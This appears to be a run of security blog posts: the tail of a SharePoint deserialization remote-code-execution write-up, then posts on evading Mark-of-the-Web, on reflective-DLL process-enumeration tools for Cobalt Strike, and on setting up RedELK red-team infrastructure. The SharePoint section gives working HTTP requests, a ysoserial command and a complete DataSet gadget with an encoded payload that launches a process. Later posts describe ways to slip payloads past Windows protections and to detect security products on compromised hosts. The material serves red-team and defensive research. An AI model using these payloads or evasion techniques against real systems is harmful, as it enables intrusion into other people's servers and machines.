At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the __viewstate POST variable, then at [2] the code will check that the __SUGGESTIONSCACHE__ POST variable is set, if it’s set, the IsInitialPostBack getter will return false. As long as this getter returns false, an attacker can land at [3], reaching PopulateDataSetFromCache. This call will use a DataSet that has been created with a specific schema definition.

		protected void PopulateDataSetFromCache(DataSet ds)
		{
			string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
			using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
			{
				xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
				ds.ReadXml(xmlTextReader);                                                                              // 4
				ds.AcceptChanges();
			}
		}

Inside of PopulateDataSetFromCache, the code calls SPRequestParameterUtility.GetValue to get attacker controlled data from the __SUGGESTIONSCACHE__ request variable and parses it directly into ReadXml using XmlTextReader. The previously defined schema is overwritten with the attacker supplied schema inside of the supplied XML and deserialization of untrusted types occurs at [4], leading to remote code execution. To trigger this, I created a page that uses the ContactLinksSuggestionsMicroView type specifically:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 252

<%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ContactLinksSuggestionsMicroView runat="server" />

If you are exploiting this bug as a low privlidged user and the AddAndCustomizePages setting is disabled, then you can possibly exploit the bug with pages that instantiate the InputFormContactLinksSuggestionsMicroView control, since it extends from ContactLinksSuggestionsMicroView.

namespace Microsoft.SharePoint.Portal.WebControls
{

	[SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
	[AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
	[AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
	[SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
	public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
	{

I found a few endpoints that implement that control (but I haven’t had time to test them) Update: Soroush Dalili tested them for me and confirmed that they are indeed, exploitable.

  1. /_layouts/15/quicklinks.aspx?Mode=Suggestion
  2. /_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

Now, to exploit it we can perform a post request to our freshly crafted page:

POST /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

or

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

or

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

Note that each of these endpoints could also be csrfed, so credentials are not necessarily required.

One Last Thing

You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry. If you try, you will end up with a stack trace like this unless you disable impersonation under IIS and use the application pool identity:

{System.InvalidOperationException: There is an error in the XML document. ---> System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. ---> System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle)
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
   at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
   at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
   at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
   at System.Data.XmlDataLoader.LoadData(XmlReader reader)
   at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
   at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
   at System.Data.DataSet.ReadXml(XmlReader reader)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds)
   at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
   at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)

You need to find another dangerous static method or setter to call from a type that doesn’t use interface members, I leave this as an exercise to the reader, good luck!

Remote Code Execution Exploit

Ok so I lied. Look the truth is, I just want people to read the full blog post and not rush to find the exploit payload, it’s better to understand the underlying technology you know? Anyway, to exploit this bug we can (ab)use the LosFormatter.Deserialize method since the class contains no interface members. To do so, we need to generate a base64 payload of a serialized ObjectStateFormatter gadget chain:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

Now, we can plug the payload into the following DataSet gadget and trigger remote code execution against the target SharePoint Server!

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
        </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

Gaining code execution against the IIS process

Conclusion

Microsoft rate this bug with an exploitability index rating of 1 and we agree, meaning you should patch this immediately if you haven’t. It is highly likley that this gadget chain can be used against several applications built with .net so even if you don’t have a SharePoint Server installed, you are still impacted by this bug.

References

Mark-of-the-Web from a red team’s perspective

By: Stan
30 March 2020 at 09:37

Zone Identifier Alternate Data Stream information, commonly referred to as Mark-of-the-Web (abbreviated MOTW), can be a significant hurdle for red teamers and penetration testers, especially when attempting to gain an initial foothold.

Your payload in the format of an executable, MS Office file or CHM file is likely to receive extra scrutiny from the Windows OS and security products when that file is marked as downloaded from the internet. In this blog post we will explain how this mechanism works and we will explore offensive techniques that can help evade or get rid of MOTW.

Note that the techniques described in this blog post are not new. We have witnessed all of them being abused in the wild. Hence, this blog post serves to raise awareness on these techniques for both red teamers (for more realistic adversary simulations) and blue teamers (for better countermeasures and understanding of attacker techniques).

Introduction to MOTW

Mark-of-the-Web (MOTW) is a security feature originally introduced by Internet Explorer to force saved webpages to run in the security zone of the location the page was saved from. Back in the days, this was achieved by adding an HTML comment in the form of <!-–saved from url=> at the beginning of a saved web page.

This mechanism was later extended to other file types than HTML. This was achieved by creating an alternate data stream (ADS) for downloaded files. ADS is an NTFS file system feature that was added as early as Windows 3.1. This feature allows for more than one data stream to be associated with a filename, using the format “filename:streamname”.

When downloading a file, Internet Explorer creates an ADS named Zone.Identifier and adds a ZoneId to this stream in order to indicate from which zone the file originates. Although it is not an official name, many people still refer to this functionality as Mark-of-the-Web.

Listing and viewing alternate data streams is trivial using PowerShell: both the Get-Item and Get-Content cmdlets take a “Stream” parameter, as can be seen in the following screenshot.

The following ZoneId values may be used in a Zone.Identifier ADS:

  • 0. Local computer
  • 1. Local intranet
  • 2. Trusted sites
  • 3. Internet
  • 4. Restricted sites

Nowadays all major software on the Windows platform that deals with attachments or downloaded files generates a Zone.Identifier ADS, including Internet Explorer, Edge, Outlook, Chrome, FireFox, etc. How do these programs write this ADS? Either by creating the ADS directly or via the system’s implementation of the IAttachmentExecute interface. The behavior of the latter can be controlled via the SaveZoneInformation property in the Attachment Manager.

Note that Windows 10’s implementation of the IAttachmentExecute interface will also add URL information to the Zone.Identifier ADS:

For red teamers, it’s probably good to realize that MOTW will also get set when using the HTML smuggling technique (note the “blob” keyword in the screenshot above, which is an indicator of potential HTML smuggling).

The role of MOTW in security measures

The information from the Zone Identifier Alternate Data Stream is used by Windows, MS Office and various other programs to trigger security features on downloaded files. The following are the most notable ones from a red teamer’s perspective (but there are more – this list is far from complete).

Windows Defender SmartScreen

This feature works by checking downloaded executable files (based on Zone Identifier ADS) against a whitelist of files that are well known and downloaded by many Windows users. If the file is not on that list, Windows Defender SmartScreen shows the following warning:

MS Office protected view

The Protected View sandbox attempts to protect MS Office users against potential risks in files originating from the internet or other dangerous zones. By default, most MS Office file types flagged with MOTW will be opened in this sandbox. Many users know this feature as MS Office’s famous yellow bar with the “Enable Editing” button.

MWR (now F-Secure labs) has published a great technical write-up on this sandbox some years ago. Note that some MS Office file types cannot be loaded in the Protected View sandbox. SYLK is a famous example of this.

MS Office block macros downloaded from the internet

This feature was introduced in Office 2016 and later back-ported to Office 2013. If this setting is enabled, macros in MS Office files flagged with MOTW are disabled and a message is displayed to the user.

This warning message cannot be ignored by the end user, which makes it a very effective measure against mass-scale macro-based malware.

Visual Studio project files

Opening untrusted Visual Studio project files can be dangerous (see my presentation at Nullcon Goa 2020 for the reasons why). By default, Visual Studio will display a warning message for any project file which has the MOTW attribute set.

Application Guard for Office

This newly announced feature runs potentially malicious macros embedded in MS Office files in a small virtual machine (based on Application Guard technology) in order to protect the OS.

From the limited documentation available, the decision to run a document in a VM is based on MOTW. Unfortunately, I don’t have access to this technology yet, so I cannot confirm this statement through testing.

Strategies to get rid of MOTW

From a red teamer’s perspective, there are two strategies we can employ to evade MOTW. All of the techniques that we have witnessed in the wild can be categorized under the following two strategies:

  1. Abusing software that does not set MOTW – delivering your payload in a file format which is handled by software that does not set or propagate Zone Identifier information.
  2. Abusing container formats – delivering your payload in a container format which does not support NTFS’ alternate data stream feature.

Of course there is a third strategy: social engineering the user into removing the MOTW attribute (right click file -> properties -> unblock). But since this is a technical blog post, this strategy is out of scope for this write-up. And for the blue team: you can technically prevent your end-users from doing this by setting HideZoneInfoOnProperties via group policy.

Let’s explore the two technical strategies for getting rid of MOTW in more depth…

Strategy 1: abusing software that does not set MOTW

The first strategy is to deliver your payload via software that does not set (or propagate) the MOTW attribute.

A good example of this is the Git client. The following picture shows that a file cloned from GitHub with the Git client does not have a Zone.Identifier ADS.

For red teamers targeting developers, delivering your payloads via Git might be a good option to evade MOTW. This is especially relevant for payloads targeting Visual Studio, but that is material for a future blog post. 🙂

Another famous example of software that does not set a Zone.Identifier ADS is 7Zip. This archiving client only sets a MOTW flag when a file is double-clicked from the GUI, which means the file is extracted to the temp directory and opened from there. However, upon manual extraction of files to other locations (i.e. clicking the extract button instead of double-clicking), 7Zip does not propagate a Zone.Identifier ADS for extracted files. Note that this works regardless of the archiving file format: any extension handled by 7zip (7z, zip, rar, etc) will demonstrate this behavior.

This appears to be a conscious design decision by the 7Zip lead developer, as can be seen in the following excerpt from a discussion on SourceForge. More information can be found here.

As a side note, I wouldn’t recommend using 7Zip for extracting potentially dangerous files anyway, since it is a product known for making “odd” security decisions (such as the lack of ASLR…).

Strategy 2: abusing container formats

Remember that alternate data streams are an NTFS feature? This means that Zone Identifier ADS cannot be created on other file systems, such as FAT32. From a red teamer’s perspective we can exploit this behavior by embedding our payload in a file system container such as ISO or VHD(X).

When opening such a container with Windows Explorer, MOTW on the outside container will not be propagated to files inside the container. This is demonstrated in the screenshot below: the downloaded ISO is flagged with MOTW, but the payload inside the ISO is not.

Note that payload delivery via the ISO format is an evasion technique commonly observed in the wild. For example, TA505 is a prominent actor known to abuse this technique.

Message to the Blue Team

So, what does all of this mean when you are trying to defend your network?

First of all, the fact that a security measure can be circumvented does not render such a measure useless. There will be plenty of attackers that do not use the techniques described in this blog post. In particular, I am a big fan of the measure to block macros in files downloaded from the internet which is available in MS Office 2013 and subsequent versions.

Second, the techniques described in this blog post acknowledge a very important security paradigm: defense in depth. Do not engineer an environment in which your security depends on a single preventive measure (in this example MOTW).

Start thinking about which other measures you can take in case attackers are trying to evade MOTW. For example, if feasible for your organization, block container formats in your mail filter and proxy. Also, limit the impact of any malicious files that may have bypassed measures relying on MOTW, for example using Attack Surface Reduction rules.

I think you get the idea: don’t do coconut security – a single hard layer, but all soft when it’s cracked.

The post Mark-of-the-Web from a red team’s perspective appeared first on Outflank.

Red Team Tactics: Advanced process monitoring techniques in offensive operations

By: Cornelis
11 March 2020 at 18:44

In this blog post we are going to explore the power of well-known process monitoring utilities and demonstrate how the technology behind these tools can be used by Red Teams within offensive operations.

Having a good technical understanding of the systems we land on during an engagement is a key condition for deciding what is going to be the next step within an operation. Collecting and analysing data of running processes from compromised systems gives us a wealth of information and helps us to better understand how the IT landscape from a target organisation is setup. Moreover, periodically polling process data allows us to react on changes within the environment or provide triggers when an investigation is taking place.

To be able to collect detailed process data from compromised end-points we wrote a collection of process tools which brings the power of these advanced process utilities to C2 frameworks (such as Cobalt Strike).

The tools (including source) can be found here:

https://github.com/outflanknl/Ps-Tools

Windows internals system utilities

We will first explore which utilities are available for harvesting process information from a Windows computer. We can then learn how these utilities collect such information, so that we can subsequently leverage these techniques in our red teaming tools.

The Windows Operating System is equipped with many out-of-the-box utilities to administer the system. Although most of these tools would fit the purpose of basic system administration, some lack the functionality we need for more advanced troubleshooting and monitoring. The Windows task manager for example, provides us basic information about all the processes running within the system, but what if we need more detailed information like the object handles, network connections or loaded modules within a particular process?

To collect detailed information, there is more advanced tooling available. For example the system utilities within the Sysinternals suite. As a Red Team operator with a long background in network and system administration I have always been a big fan of the Sysinternals tools.

When troubleshooting a slow performing server system or a possibly infected client computer, most times I started initial troubleshooting with tools like Process Explorer or Procmon.

From a digital forensics perspective these tools are also very useful for basic dynamic analysis of malware samples and searching for artefacts on infected systems. So why are these tools so popular among system administrators as well as security professionals? Let’s explore this by showing some interesting process information we can gather using the Process Explorer tool.

Using Process Explorer

First thing we notice when we start Process Explorer is the list/tree of all the processes currently active on the system. This provides us information about process names, process IDs, the user context and integrity level of the process and version information. More information can be made visible in this view by customizing the columns.

If we enable the lower pane, we can show all modules loaded within a specific process or switch to the handle view to show all the named handle objects being used by a process:

Viewing modules can be useful to identify malicious libraries being loaded within a process or – from a Red team perspective – if there’s a security product active (e.g. EDR) that injected a user mode API hooking module.

Switching to the handle view allows you to view the type and name of all named objects being used within the process. This might be useful to view which file objects and registry keys are opened or named pipes being used for inter-process communication.

If we double click a process name, a window with more detailed information will popup. Let’s explore some tabs to view additional properties from a process:

The image tab shows us information about the binary path, working directory and command line parameters. Furthermore, it shows information about the user context, parent process, image type (x86 vs x64) and more.

The thread tab provides information about running threads within the process. Selecting a thread and then clicking the stack button will display the call stack for this specific thread. To view the threads/calls running in kernel-mode, Process Explorer uses a kernel driver which is installed when running in elevated mode.

From a DFIR perspective, thread information is useful to detect memory injection techniques a.k.a. fileless malware. Threads not backed by a file on disk for example might indicate that something fishy is going on. To have more insights into threads and memory I strongly advise to also look at the Process Hacker tool.

Another interesting tab in Process Explorer is the TCP/IP tab. This will show all the network connection related to the process. From an offensive perspective this can be useful to detect when connections are made from a system under our control. An incoming PowerShell remoting session or RDP session might indicate that an investigation is started.

Leveraging these techniques offensively

Now we have looked at some interesting process information we can gather using Process Explorer, you might wonder how we can get access to the same information available from user-mode within our favourite C2 frameworks. Of course, we could use PowerShell as this provides us a very powerful scripting language and enables access to the Windows APIs. But with PowerShell under heavy security monitoring these days, we try to avoid this method. 

Within Cobalt Strike we can use the ps command within the beacon context. This command displays basic process information from all processes running on the system. Combined with @r3dQu1nn ProcessColor aggressor script this is probably the best method to easily collect process information.

The output from the ps command is useful for a quick triage of running processes, but lacks the detailed information which can help us to better understand the system. To collect more detailed information, we wrote our own process info utilities to collect and enrich the information we can gather from the systems we compromise.

Outflank Ps-Tools

Trying to replicate the functionality and information provided by a tool like Process Explorer is not an easy task. First, we need to figure out how these tools work under the hood (and within user-mode), next we need to figure out the best way to display this information from a console instead of a GUI.

After analyzing publicly available code it became clear that many low-level system information tools are heavily based on the native NtQuerySystemInformation API. Although the API and related structures are not fully documented, this API allows you to collect a wealth of information about a Windows system. So, with NtQuerySystemInformation as a starting point to collect overall information about all processes running in the system, we then use the PEB of individual processes to collect more detailed info about each process. Using the NtQueryInformationProcess API we can read the PROCESS_BASIC_INFORMATION structure from a process using its process handle and locate the PebBaseAddress. From there we can use the NtReadVirtualMemory API to read the RTL_USER_PROCESS_PARAMETERS structure which allows us to read the ImagePathName and CommandLine parameters of a process.

With these API’s as the basic fundament of our code, we wrote the following process information tools:

  • Psx: Shows a detailed list of all processes running on the system.
  • Psk: Shows detailed kernel information including loaded driver modules.
  • Psc: Shows a detailed list of all processes with Established TCP connections.
  • Psm: Show detailed module information from a specific process id (loaded modules, network connections e.g.).
  • Psh: Show detailed handle information from a specific process id (object handles, network connections e.g.).
  • Psw: Show Window titles from processes with active Windows.

These tools are all written as reflective DLLs in C language and can be reflectively loaded within a spawned process using a C2 framework like Cobalt Strike (or any other framework which allows Reflective DLL injection). For Cobalt Strike we included an aggressor script which can be used to load the tools using the Cobalt Strike script manager.

Let’s explore each individual tool running within Cobalt Strike to demonstrate its functionality and which information can be gathered using the tool:

Psx

This tool displays a detailed list of all the processes running on the system. The output can be compared to the output from the main screen of Process Explorer. It shows us the name of the process, process ID, parent PID, create time and information related to the process binaries (architecture, company name, versions e.g.). As you can see it also displays interesting info from the active kernel running on the system, for example the kernel base address, which is information useful when doing kernel exploitation (calculating ROP gadget offsets e.g.). This information can all be gathered from a normal user (non-elevated) context.

If we have enough permissions to open a handle to the process, we can read more information like the user context and integrity level from its token. Enumerating the PEB and its related structures allows us to get information about the image path and command line parameters:

As you may have noticed, we’re reading and displaying version information from the process binary images, for example company name and description. Using the company name it is very easy to enumerate all active security products within the system. Using this tool, we’re comparing the company names of all active processes against a list of well-known security product vendors and display a summary of the results:

Psk

This tool displays detailed information about the running kernel including all the loaded driver modules. Just like the Psx tool, it also provides a summary of all the loaded kernel modules from well-known security products.

Psc

This tool uses the same techniques to enumerate active processes like Psx, except that it only displays processes with active network connections (IPv4, IPv6 TCP, RDP, ICA):

Psm

This tool can be used to list details about a specific process. It will display a list of all the modules (dll’s) in use by the process and network communication:

Psh

Same as Psm, but instead of loaded modules, shows a list of handles in use by the process:

Psw

Last but not least the Psw tool. This tool will show a list of processes which have active window handles opened on the desktop of the user, including the window titles. This is useful to determine which GUI applications are opened by a user without having to create desktop screenshots:

Use cases

So how is this useful in offensive operations, you might wonder? After initial access to a compromised asset, we usually use this information for the following purposes:

  • Detecting security tooling on a compromised asset. Not only by process information names, but also by loaded modules.
  • Identifying user-land hooking engines through loaded modules.
  • Finding opportunities for lateral movement (via network sessions) and privilege escalation.

After initial compromise, you can periodically poll detailed process information and start building triggers. For example, we feed this information automatically into our tool RedELK. We can then start building alerts on suspicious changes in process information such as:

  • A security investigation tool has been started or a new end-point security product has been installed.
  • Incoming network connections from the security department via RDP or PowerShell remoting.
  • Another process has opened a handle on one of our malware artefacts (e.g. a file used for persistence).

Conclusion

In this blogpost we demonstrated how tools like Sysinternals Process Explorer can be used to get more detailed information about processes running on a system and how this information can help administrators and security professionals to troubleshoot and investigate a system for possible security or performance related issues.

The same information is also very relevant and useful for Red Teams having access to compromised systems during an assessment. It helps to better understand the systems and IT infrastructure from your target and periodically polling of this information allows a Red Team to react on possible changes within the IT environment (an investigation trigger, for example).

We replicated some of the functionality provided by tools like Process Explorer so we can benefit from the same information in offensive operations. For this we created several process monitoring tools, which can be used within a C2 framework like Cobalt Strike. We demonstrated how to use the tools and which information can be gathered by using the tools.

The tools are available from our GitHub page and are ready to be used within Cobalt Strike.

The post Red Team Tactics: Advanced process monitoring techniques in offensive operations appeared first on Outflank.

RedELK Part 2 – getting you up and running

28 February 2020 at 13:58

This is part 2 of a multipart blog series on RedELK: Outflank’s open sourced tooling that acts as a red team’s SIEM and also helps with overall improved oversight during red team operations.

In part 1 of this blog series I have discussed the core concepts of RedELK and why you should want something like this. In this blog post I will walk you through integrating RedELK into your red teaming infrastructure. In future parts I will explain the core functionality of RedELK, and on the alarming of detection by blue teams.

In this blog I use the 1.0.1 release of RedELK . You can get it here.

Core concepts of RedELK

RedELK should be regarded as an addition to your red teaming infrastructure. Your operation will continue without RedELK. However, you will soon experience that an ops without RedELK feels like working partly blind.

There are a few core concepts that help you better understand how RedELK works and that help you with an easy deployment:

  • A separate RedELK instance is intended per engagement. It is not recommended to mix operational data from multiple engagements into the same RedELK server.
  • Each RedELK installation consists of the following three components:
    1. RedELK server;
    2. redir package installed on each of your redirectors;
    3. teamserver package installed on each of your C2 servers.
  • RedELK allows you to define different attack scenario names within a single engagement. This is useful for multi-scenario engagements such as TIBER, e.g. scen1, scen2 and scenX. You could also use this to differentiate between different campaigns or otherwise differentiate between multiple goals for the same client, e.g. phisrun1, longhaul, shorthaul4, etc.
  • Hopefully you already have the good practice of deploying new infrastructures per red team engagement. You should treat the RedELK server in the same way: install freshly at new engagements. Upgrading or re-installation of RedELK is not supported.
  • A RedELK server is of high confidentiality as it stores all operational data as well as all traffic data. You may want to position this in a secured network segment.
  • Inbound traffic to a RedELK server is limited to HTTP for the Kibana web interface and TLS-encrypted filebeat->logstash traffic from your redirectors and C2 team servers. A RedELK server initiates outbound rsync traffic to your c2 team servers and HTTP(S) to online security vendor such as Virus Total, abuse.ch, malwaredomains.com, Greynoise, etc.
  • The performance impact on your redirectors and C2 team servers is very limited: it is only filebeat that is installed on both, and a little cron script to copy logs to a central directory on the C2 team servers.
    A RedELK server requires beefy hardware. It runs the full Elastic stack, and over time will contain a reasonable amount of data. A dual core CPU and 8GB RAM is recommended.
  • Redirectors serve as anonymization layer in red team operations. However, in the case of RedELK their purpose is extended to also serve as a logging layer. This means it is recommended to point your Domain Fronting/CDN endpoints to a redirector that you fully control and where you have the RedELK redir package installed. If you point directly to your C2 team server, you miss the traffic data.

The picture below shows a better overview of how the different components interact and how the data flows to and from the RedELK server.

Lab network setup

For this demo, I have setup a lab with the following characteristics:

  1. Target network with multiple machines.
  2. Two attack scenarios, one for shorthaul and the other for longhaul.
  3. Two Cobalt Strike Team servers, each for different purpose
  4. Two redirectors, one running Apache, the other running HAProxy.
  5. The Apache redirector is reachable via a Domain Fronting setup using Azure CDN. It sends its C2 traffic to a dedicated C2 server. Decoy traffic is sent to amazon.com
  6. The HAProxy redirector sends C2 traffic to a different C2 server. Decoy traffic is sent to a decoy website we setup ourselves.

A general overview of the test lab setup can be seen in the picture below. Note that the RedELK server is not included in this overview:

Naming
RedELK has a few requirements to the naming of objects. These are explained indetail on the wiki. In this demo lab I use the following names:

Attackscenario: shorthaul

  • CDN entry DNS name: ajax.microsoft.com
  • CDN endpoint name: redelkdemo.azureedge.net
  • CDN origin hostname: redira1.totallynotavirus.nl
  • Apache redir DNS name: redira1.totallynotavirus.nl
  • Apache redir FileBeatID: redira1
  • Apache redir frontend name: http-AzureDF
  • Apache redir C2 backend name: c2-c2server1
  • Apache redir decoy backend name: decoy-amazon
  • C2 server DNS name: c2server1.totallynotavirus.nl
  • C2 server FileBeatID: c2server1

Attackscenario: longhaul

  • HAProxy redir DNS name: redirb1.totallynotavirus.nl
  • HAProxy redir FileBeatID: redirb1
  • HAProxy redir frontend name: http-straight
  • HAProxy redir C2 backend name: c2-server2
  • HAProxy redir decoy backend name: decoy-staticerror
  • C2 server DNS name: c2server2.totallynotavirus.nl
  • C2 server FileBeatID: c2server2

RedELK server info

  • RedELK server DNS name: redelk.totallynotavirus.nl

The CDN configuration is shown below. Don’t forget to set the caching behavior to ‘Bypass Cache’ within the Caching Rules rules of the endpoint. There are several blog posts explaining how to do this, including this great post by @rvrsh3ll.

Each Cobalt Strike server requires two things: the Mallable profile, and the listener setup. The Mallable profile I’ve used in this example is based on the same that ships with RedELK, and can be found here. Note that this profile requires you to insert the host header of your Domain Fronting CDN endpoint name. If you don’t want domain fronting you can remove the Host Header Host directive.

Mallable profile using the CDN setup

The important things with listener setup is to use a HTTP Host that is frontable, and to use the hostname of the CDN endpoint in the Host Header field.

The example above is for the CDN redir-teamserver setup. I have configured the other Cobalt Strike teamserver with a rather basic HTTP listener setup.

With the test lab setup explained, let’s focus on the RedELK specific installation.

Initial installation

First, download RedELK and extract the package. Check with version you get, there may be newer versions available:


curl -L https://codeload.github.com/outflanknl/RedELK/tar.gz/1.0.1 -o redelk_v1.0.1.tgz tar zxvf redelk_v1.0.1.tgz

Before we can run the installers on the different systems we need to:

  1. Generate TLS certificates used for the secured traffic between filebeat on redirectors/c2 team servers and the RedELK server
  2. Generate three installation packages for redirectors, c2 team servers and for the RedELK server.

Both steps are done with the initial-setup.sh script. You can run this initial setup on the RedELK server, but it is also tested macOS clients.

